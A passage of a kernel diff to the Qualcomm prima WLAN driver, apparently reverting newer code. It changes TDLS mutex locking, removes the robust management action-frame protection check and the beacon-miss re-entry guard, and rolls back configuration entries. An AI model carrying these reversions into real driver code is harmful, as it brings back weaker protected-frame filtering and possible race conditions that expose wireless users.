wlan_hdd_tdls_extctrl_config_peer(hdd_adapter_t *pAdapter, mutex_unlock(&pHddCtx->tdls_lock); return -EINVAL; } + mutex_unlock(&pHddCtx->tdls_lock); /* check FW TDLS Off Channel capability */ if ((TRUE == sme_IsFeatureSupportedByFW(TDLS_OFF_CHANNEL)) && @@ -15443,8 +15409,6 @@ int wlan_hdd_tdls_extctrl_config_peer(hdd_adapter_t *pAdapter, if ( 0 != wlan_hdd_tdls_set_force_peer(pAdapter, peer, TRUE) ) { - mutex_unlock(&pHddCtx->tdls_lock); - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, " %s TDLS Add Force Peer Failed", __func__); @@ -15453,15 +15417,12 @@ int wlan_hdd_tdls_extctrl_config_peer(hdd_adapter_t *pAdapter, /*EXT TDLS*/ if ( 0 != wlan_hdd_set_callback(pTdlsPeer, callback) ) { - mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, " %s TDLS set callback Failed", __func__); return -EINVAL; } - mutex_unlock(&pHddCtx->tdls_lock); - return(0); } @@ -15496,11 +15457,10 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, return -ENOTSUPP; } - mutex_lock(&pHddCtx->tdls_lock); - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); + + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); if ( NULL == pTdlsPeer ) { - mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_INFO, "%s: " MAC_ADDRESS_STR " peer not existing", __func__, MAC_ADDR_ARRAY(peer)); @@ -15519,7 +15479,6 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, } if ( 0 != wlan_hdd_tdls_set_force_peer(pAdapter, peer, FALSE) ) { - mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_ERROR, FL("Failed to set force peer")); return -EINVAL; } @@ -15527,16 +15486,14 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, /*EXT TDLS*/ if ( 0 != wlan_hdd_set_callback(pTdlsPeer, NULL )) { - mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, " %s TDLS set callback Failed", __func__); return -EINVAL; } - - mutex_unlock(&pHddCtx->tdls_lock); - return(0); + } static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device *dev, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) @@ -15600,7 +15557,6 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, " %s : NL80211_TDLS_ENABLE_LINK for " MAC_ADDRESS_STR, __func__, MAC_ADDR_ARRAY(peer)); - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); memset(&staDesc, 0, sizeof(staDesc)); if ( NULL == pTdlsPeer ) { @@ -15642,7 +15598,6 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device "TDLS channel switch", __func__); connPeer->isOffChannelEstablished = FALSE; - ret = sme_SendTdlsChanSwitchReq( WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, @@ -15702,7 +15657,6 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device return -EINVAL; } } - wlan_hdd_tdls_set_peer_link_status(pTdlsPeer, eTDLS_LINK_CONNECTED, eTDLS_LINK_SUCCESS); @@ -15846,6 +15800,7 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device } } } + } break; case NL80211_TDLS_DISABLE_LINK: diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c index 1abcffacf7ac1..d7611139c2b10 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c @@ -2274,9 +2274,6 @@ VOS_STATUS hdd_wlan_re_init(void) goto err_unregister_pmops; } vos_set_reinit_in_progress(VOS_MODULE_ID_VOSS, FALSE); - - sme_register_mgmt_frame_ind_callback(pHddCtx->hHal,hdd_indicate_mgmt_frame); - #ifdef WLAN_FEATURE_EXTSCAN sme_EXTScanRegisterCallback(pHddCtx->hHal, wlan_hdd_cfg80211_extscan_callback, diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c index 615da70cd2234..3119acc5d9d1e 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c @@ -75,7 +75,7 @@ tANI_U8* hdd_getActionString( tANI_U16 MsgType ) CASE_RETURN_STRING(SIR_MAC_ACTION_UNPROT_WNM); CASE_RETURN_STRING(SIR_MAC_ACTION_TDLS); CASE_RETURN_STRING(SIR_MAC_ACITON_MESH); - CASE_RETURN_STRING(SIR_MAC_ACTION_MHF); + CASE_RETURN_STRING(SIR_MAC_ACTION_MULTIHOP); CASE_RETURN_STRING(SIR_MAC_SELF_PROTECTED); CASE_RETURN_STRING(SIR_MAC_ACTION_WME); CASE_RETURN_STRING(SIR_MAC_ACTION_VHT); diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c index 36810e8ece33e..38dbb33c76a58 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c @@ -86,7 +86,6 @@ void wlan_hdd_tdls_disable_offchan_and_teardown_links(hdd_context_t *hddctx) u8 staIdx; hddTdlsPeer_t *curr_peer = NULL; hdd_adapter_t *adapter = NULL; - bool tdls_unlock = FALSE; if (eTDLS_SUPPORT_NOT_ENABLED == hddctx->tdls_mode) { hddLog(LOG1, FL("TDLS mode is disabled OR not enabled in FW")); @@ -110,29 +109,18 @@ void wlan_hdd_tdls_disable_offchan_and_teardown_links(hdd_context_t *hddctx) * Disable TDLS Offchannel to avoid more than two concurrent channels. */ if (connected_tdls_peers == 1) { - tSirMacAddr peer_mac; - int32_t channel; - - mutex_lock(&hddctx->tdls_lock); curr_peer = wlan_hdd_tdls_get_connected_peer(adapter); if (curr_peer && (curr_peer->isOffChannelConfigured == TRUE)) { hddLog(LOG1, FL("%s: Concurrency detected, Disable " "TDLS channel switch"), __func__); curr_peer->isOffChannelEstablished = FALSE; - channel = curr_peer->peerParams.channel; - vos_mem_copy(peer_mac, curr_peer->peerMac, sizeof(tSirMacAddr)); - mutex_unlock(&hddctx->tdls_lock); - sme_SendTdlsChanSwitchReq(WLAN_HDD_GET_HAL_CTX(adapter), adapter->sessionId, - peer_mac, - channel, + curr_peer->peerMac, + curr_peer->peerParams.channel, TDLS_OFF_CHANNEL_BW_OFFSET, TDLS_CHANNEL_SWITCH_DISABLE); - tdls_unlock = TRUE; } - if (tdls_unlock == FALSE) - mutex_unlock(&hddctx->tdls_lock); } /* Send Msg to PE for sending deauth and deleting all the TDLS peers */ @@ -1902,21 +1890,22 @@ int wlan_hdd_tdls_set_force_peer(hdd_adapter_t *pAdapter, #endif tANI_BOOLEAN forcePeer) { - /* NOTE: - * Hold mutex tdls_lock before calling this function - */ hddTdlsPeer_t *curr_peer; hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); if ((NULL == pHddCtx)) return -1; + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); if (curr_peer == NULL) goto error; curr_peer->isForcedPeer = forcePeer; + mutex_unlock(&pHddCtx->tdls_lock); return 0; error: + mutex_unlock(&pHddCtx->tdls_lock); return -1; } @@ -2152,9 +2141,6 @@ tANI_U16 wlan_hdd_tdlsConnectedPeers(hdd_adapter_t *pAdapter) hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) { - /* NOTE: - * Hold mutext tdls_lock before calling this function - */ int i; struct list_head *head; struct list_head *pos; @@ -2168,8 +2154,10 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) return NULL; } + mutex_lock(&pHddCtx->tdls_lock); pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); if (NULL == pHddTdlsCtx) { + mutex_unlock(&pHddCtx->tdls_lock); return NULL; } for (i = 0; i < 256; i++) { @@ -2179,6 +2167,7 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) curr_peer= list_entry (pos, hddTdlsPeer_t, node); if (curr_peer && (curr_peer->link_status == eTDLS_LINK_CONNECTED)) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: " MAC_ADDRESS_STR " eTDLS_LINK_CONNECTED", __func__, MAC_ADDR_ARRAY(curr_peer->peerMac)); @@ -2186,6 +2175,7 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) } } } + mutex_unlock(&pHddCtx->tdls_lock); EXIT(); return NULL; @@ -3145,9 +3135,6 @@ void wlan_hdd_tdls_indicate_teardown(hdd_adapter_t *pAdapter, int wlan_hdd_set_callback(hddTdlsPeer_t *curr_peer, cfg80211_exttdls_callback callback) { - /* NOTE: - * Hold mutex tdls_lock before calling this function - */ hdd_context_t *pHddCtx; hdd_adapter_t *pAdapter; @@ -3158,9 +3145,14 @@ int wlan_hdd_set_callback(hddTdlsPeer_t *curr_peer, pHddCtx = WLAN_HDD_GET_CTX(pAdapter); if ((NULL == pHddCtx)) return -1; + mutex_lock(&pHddCtx->tdls_lock); + curr_peer->state_change_notification = callback; + mutex_unlock(&pHddCtx->tdls_lock); return 0; + + } void wlan_hdd_tdls_get_wifi_hal_state(hddTdlsPeer_t *curr_peer, diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c index f673d8e4a637b..a555eb2ba2830 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c @@ -90,13 +90,6 @@ const v_U8_t hdd_QdiscAcToTlAC[] = { #define HDD_TX_STALL_SSR_THRESHOLD 5 #define HDD_TX_STALL_SSR_THRESHOLD_HIGH 13 #define HDD_TX_STALL_RECOVERY_THRESHOLD HDD_TX_STALL_SSR_THRESHOLD - 2 -#define HDD_TX_STALL_KICKDXE_THRESHOLD HDD_TX_STALL_SSR_THRESHOLD - 4 -#define HDD_TX_STALL_FATAL_EVENT_THRESHOLD 2 -#define EAPOL_MASK 0x8013 -#define EAPOL_M1_BIT_MASK 0x8000 -#define EAPOL_M2_BIT_MASK 0x0001 -#define EAPOL_M3_BIT_MASK 0x8013 -#define EAPOL_M4_BIT_MASK 0x0003 int gRatefromIdx[] = { 10,20,55,100, @@ -1174,13 +1167,6 @@ void __hdd_tx_timeout(struct net_device *dev) pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount = 0; goto print_log; } - if (pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount == - HDD_TX_STALL_KICKDXE_THRESHOLD) - { - VOS_TRACE(VOS_MODULE_ID_HDD_SAP_DATA, VOS_TRACE_LEVEL_ERROR, - "%s: Request Kick DXE for recovery",__func__); - WLANTL_TLDebugMessage(WLANTL_DEBUG_KICKDXE); - } if (pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount == HDD_TX_STALL_RECOVERY_THRESHOLD) { diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c index e21df64807e07..862c00d4da36b 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c @@ -5393,16 +5393,16 @@ static int __iw_setint_getnone(struct net_device *dev, return ret; } - if ( VOS_MONITOR_MODE != hdd_get_conparam()) + hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); + if (NULL == hHal) { - /* In monitor mode hHal is NULL */ - hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); - if (NULL == hHal) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: Hal Context is NULL",__func__); - return -EINVAL; - } + return -EINVAL; + } + + if ( VOS_MONITOR_MODE != hdd_get_conparam()) + { pWextState = WLAN_HDD_GET_WEXT_STATE_PTR(pAdapter); if (NULL == pWextState) { @@ -10175,15 +10175,12 @@ int iw_set_tdlsoffchannelmode(hdd_adapter_t *pAdapter, int offchanmode) eTDLS_SUPPORT_EXPLICIT_TRIGGER_ONLY == pHddCtx->tdls_mode) { /* Send TDLS Channel Switch Request to connected peer */ - mutex_lock(&pHddCtx->tdls_lock); connPeer = wlan_hdd_tdls_get_connected_peer(pAdapter); if (NULL == connPeer) { - mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, "%s: No TDLS Connected Peer", __func__); return -1; } - mutex_unlock(&pHddCtx->tdls_lock); } else { diff --git a/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h b/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h index abe09c8300819..d03a19232e3ad 100644 --- a/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h +++ b/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -173,10 +173,9 @@ #define SIR_MAC_ACTION_UNPROT_WNM 11 #define SIR_MAC_ACTION_TDLS 12 #define SIR_MAC_ACITON_MESH 13 -#define SIR_MAC_ACTION_MHF 14 +#define SIR_MAC_ACTION_MULTIHOP 14 #define SIR_MAC_SELF_PROTECTED 15 #define SIR_MAC_ACTION_WME 17 -#define SIR_MAC_ACTION_FST 18 #define SIR_MAC_ACTION_VHT 21 diff --git a/drivers/staging/prima/CORE/MAC/inc/wniCfg.h b/drivers/staging/prima/CORE/MAC/inc/wniCfg.h index a99341433b90f..5061365b49dfd 100644 --- a/drivers/staging/prima/CORE/MAC/inc/wniCfg.h +++ b/drivers/staging/prima/CORE/MAC/inc/wniCfg.h @@ -387,8 +387,7 @@ enum { WNI_CFG_LINK_FAIL_TIMEOUT, WNI_CFG_LINK_FAIL_TX_CNT, WNI_CFG_OPTIMIZE_CA_EVENT, - WNI_CFG_ENABLE_MAC_ADDR_SPOOFING, - WNI_CFG_SAR_BOFFSET_SET_CORRECTION + WNI_CFG_ENABLE_MAC_ADDR_SPOOFING }; /* @@ -1897,12 +1896,8 @@ enum { #define WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MAX 2 #define WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF 1 -#define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MIN 0 -#define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MAX 1 -#define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT 0 - -#define CFG_PARAM_MAX_NUM 355 -#define CFG_STA_IBUF_MAX_SIZE 289 +#define CFG_PARAM_MAX_NUM 354 +#define CFG_STA_IBUF_MAX_SIZE 288 #define CFG_STA_SBUF_MAX_SIZE 3389 #define CFG_STA_MAGIC_DWORD 0xbeefbeef diff --git a/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c b/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c index 54132981a7f1c..9ca92e933a0d5 100644 --- a/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c +++ b/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1681,12 +1681,7 @@ tAniSirCgStatic cfgStatic[CFG_PARAM_MAX_NUM] = CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MIN, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MAX, - WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF}, - {WNI_CFG_SAR_BOFFSET_SET_CORRECTION, - CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, - WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MIN, - WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MAX, - WNI_CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT}, + WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF} }; tAniSirCfgStaticString cfgStaticString[CFG_MAX_STATIC_STRING] = diff --git a/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c b/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c index 90926f57a3288..161779d76912e 100644 --- a/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c +++ b/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c @@ -443,6 +443,7 @@ tSirRetStatus dphDeleteHashEntry(tpAniSirGlobal pMac, tSirMacAddr staAddr, tANI_ #ifdef WLAN_FEATURE_11W ptr->last_assoc_received_time = 0; #endif + ptr->next = 0; } else diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c index defbd4729500c..a9abca38b85ce 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c @@ -2170,12 +2170,6 @@ void limHandleMissedBeaconInd(tpAniSirGlobal pMac, tpSirMsgQ pMsg) return; } #endif - if (pMac->pmm.inMissedBeaconScenario == TRUE) { - limLog(pMac, LOGW, - FL("beacon miss handling is already going on for BSSIdx:%d"), - pSirMissedBeaconInd->bssIdx); - return; - } if ( (pMac->pmm.gPmmState == ePMM_STATE_BMPS_SLEEP) || (pMac->pmm.gPmmState == ePMM_STATE_UAPSD_SLEEP)|| (pMac->pmm.gPmmState == ePMM_STATE_WOWLAN) ) diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c index 04028f0b91e57..6952d819dcbd1 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1169,35 +1169,56 @@ void limSendP2PActionFrame(tpAniSirGlobal pMac, tpSirMsgQ pMsg) pActionHdr = (tpSirMacActionFrameHdr) (pFrame + sizeof(tSirMacMgmtHdr)); /* - * Setting Protected bit only for Robust Action Frames + * Setting Protected bit for SA_QUERY Action Frame * This has to be based on the current Connection with the station - * limSetProtectedBit API will set the protected bit if connection is PMF + * limSetProtectedBit API will set the protected bit if connection if PMF */ + if ((SIR_MAC_MGMT_ACTION == pFc->subType) && - psessionEntry->limRmfEnabled && (!limIsGroupAddr(pMacHdr->da)) && - lim_is_robust_mgmt_action_frame(pActionHdr->category)) + (SIR_MAC_ACTION_SA_QUERY == pActionHdr->category)) { - pMacHdr = (tpSirMacMgmtHdr)pFrame; - /* All psession checks are already done at start */ - limSetProtectedBit(pMac, psessionEntry, pMacHdr->da, pMacHdr); + pMacHdr = (tpSirMacMgmtHdr ) pFrame; + psessionEntry = peFindSessionByBssid(pMac, + (tANI_U8*)pMbMsg->data + BSSID_OFFSET, &sessionId); + + /* Check for session corresponding to ADDR2 ss supplicant is filling + ADDR2 with BSSID */ + if(NULL == psessionEntry) + { + psessionEntry = peFindSessionByBssid(pMac, + (tANI_U8*)pMbMsg->data + ADDR2_OFFSET, &sessionId); + } + + if(NULL != psessionEntry) + { + limSetProtectedBit(pMac, psessionEntry, pMacHdr->da, pMacHdr); + } + else + { + limLog(pMac, LOGE, + FL("Dropping SA Query frame - Unable to find PE Session ")); + limSendSmeRsp(pMac, eWNI_SME_ACTION_FRAME_SEND_CNF, + eHAL_STATUS_FAILURE, pMbMsg->sessionId, 0); + palPktFree( pMac->hHdd, HAL_TXRX_FRM_802_11_MGMT, + ( void* ) pFrame, ( void* ) pPacket ); + return; + } /* - * If wep bit is not set in MAC header of robust management action frame - * then we are trying to send RMF via non PMF connection. - * Drop the packet instead of sending malform packet. + * If wep bit is not set in MAC header then we are trying to + * send SA Query via non PMF connection. Drop the packet. */ - if (0 == pMacHdr->fc.wep) + + if(0 == pMacHdr->fc.wep) { limLog(pMac, LOGE, - FL("Drop action frame with category[%d] due to non-PMF conn"), - pActionHdr->category); + FL("Dropping SA Query frame due to non PMF connection\n")); limSendSmeRsp(pMac, eWNI_SME_ACTION_FRAME_SEND_CNF, eHAL_STATUS_FAILURE, pMbMsg->sessionId, 0); palPktFree( pMac->hHdd, HAL_TXRX_FRM_802_11_MGMT, ( void* ) pFrame, ( void* ) pPacket ); return; } - } #endif diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c index bff5151b048a9..869b30fa978ea 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -2247,20 +2247,15 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps tpSirMacActionFrameHdr pActionHdr = (tpSirMacActionFrameHdr) pBody; #ifdef WLAN_FEATURE_11W tpSirMacMgmtHdr pHdr = WDA_GET_RX_MAC_HEADER(pRxPacketInfo); - - if (lim_is_robust_mgmt_action_frame(pActionHdr->category) && - limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, - pActionHdr->category)) { - limLog(pMac, LOGE, - FL("Don't send unprotect action frame to upper layer categ %d "), - pActionHdr->category); - return; - } #endif switch (pActionHdr->category) { case SIR_MAC_ACTION_QOS_MGMT: +#ifdef WLAN_FEATURE_11W + if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) + break; +#endif if ( (psessionEntry->limQosEnabled) || (pActionHdr->actionID == SIR_MAC_QOS_MAP_CONFIGURE) ) { @@ -2293,6 +2288,10 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps break; case SIR_MAC_ACTION_SPECTRUM_MGMT: +#ifdef WLAN_FEATURE_11W + if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) + break; +#endif switch (pActionHdr->actionID) { #ifdef ANI_SUPPORT_11H @@ -2363,6 +2362,10 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps case SIR_MAC_ACTION_BLKACK: // Determine the "type" of BA Action Frame +#ifdef WLAN_FEATURE_11W + if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) + break; +#endif switch(pActionHdr->actionID) { case SIR_MAC_BLKACK_ADD_REQ: @@ -2398,6 +2401,10 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps case SIR_MAC_ACTION_WNM: { +#ifdef WLAN_FEATURE_11W + if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) + break; +#endif PELOGE(limLog(pMac, LOG1, FL("WNM Action category %d action %d."), pActionHdr->category, pActionHdr->actionID);) switch (pActionHdr->actionID) @@ -2422,6 +2429,10 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps } #if defined WLAN_FEATURE_VOWIFI case SIR_MAC_ACTION_RRM: +#ifdef WLAN_FEATURE_11W + if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) + break; +#endif if( pMac->rrm.rrmPEContext.rrmEnable ) { switch(pActionHdr->actionID) { @@ -2553,6 +2564,8 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps case SIR_MAC_ACTION_SA_QUERY: { PELOGE(limLog(pMac, LOG1, FL("SA Query Action category %d action %d."), pActionHdr->category, pActionHdr->actionID);) + if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) + break; switch (pActionHdr->actionID) { case SIR_MAC_SA_QUERY_REQ: diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c index a1c94e67ede14..33c3120f4d79b 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2016. The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2015. The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -8498,45 +8498,3 @@ eHalStatus limTxBdComplete(tpAniSirGlobal pMac, void *pData) pTxBdStatus->txBdToken, pTxBdStatus->txCompleteStatus); return eHAL_STATUS_SUCCESS; } - -/** - * lim_is_robust_mgmt_action_frame() - Check if action catagory is - * robust action frame - * @action_catagory: Action frame catagory. - * - * This function is used to check if given action catagory is robust - * action frame. - * - * Return: bool - */ -bool lim_is_robust_mgmt_action_frame(uint8 action_catagory) -{ - switch (action_catagory) { - /* - * NOTE: This function doesn't take care of the DMG - * (Directional Multi-Gigatbit) BSS case as 8011ad - * support is not yet added. In future, if the support - * is required then this function need few more arguments - * and little change in logic. - */ - case SIR_MAC_ACTION_SPECTRUM_MGMT: - case SIR_MAC_ACTION_QOS_MGMT: - case SIR_MAC_ACTION_DLP: - case SIR_MAC_ACTION_BLKACK: - case SIR_MAC_ACTION_RRM: - case SIR_MAC_ACTION_FAST_BSS_TRNST: - case SIR_MAC_ACTION_SA_QUERY: - case SIR_MAC_ACTION_PROT_DUAL_PUB: - case SIR_MAC_ACTION_WNM: - case SIR_MAC_ACITON_MESH: - case SIR_MAC_ACTION_MHF: - case SIR_MAC_ACTION_FST: - return true; - default: - VOS_TRACE (VOS_MODULE_ID_PE, VOS_TRACE_LEVEL_INFO, - FL("non-PMF action category[%d] "), - action_catagory); - break; - } - return false; -} diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h index 6a2a9b209c8ef..4086f64e8fdfd 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -558,6 +558,4 @@ extern tANI_U32 limGetMaxRateFlags(tpDphHashNode pStaDs, void limDecrementPendingMgmtCount (tpAniSirGlobal pMac); eHalStatus limTxBdComplete(tpAniSirGlobal pMac, void *pData); -bool lim_is_robust_mgmt_action_frame(uint8 action_catagory); - #endif /* __LIM_UTILS_H */ diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c b/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c index fc8456de151e3..f310a92a7f990 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c +++ b/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c @@ -2523,117 +2523,72 @@ eHalStatus csrInitChannelPowerList( tpAniSirGlobal pMac, tCsr11dinfo *ps11dinfo) return eHAL_STATUS_SUCCESS; } -/** - * csr_roam_remove_duplicate_cmd_from_list()- Remove duplicate roam cmd from - * list - * - * @pMac: pointer to global mac - * @sessionId: session id for the cmd - * @pList: pending list from which cmd needs to be removed - * @pCommand: cmd to be removed, can be NULL - * @eRoamReason: cmd with reason to be removed - * - * Remove duplicate command from the pending list. - * - * Return: void - */ -void csr_roam_remove_duplicate_cmd_from_list(tpAniSirGlobal pMac, - tANI_U32 sessionId, tDblLinkList *pList, - tSmeCmd *pCommand, 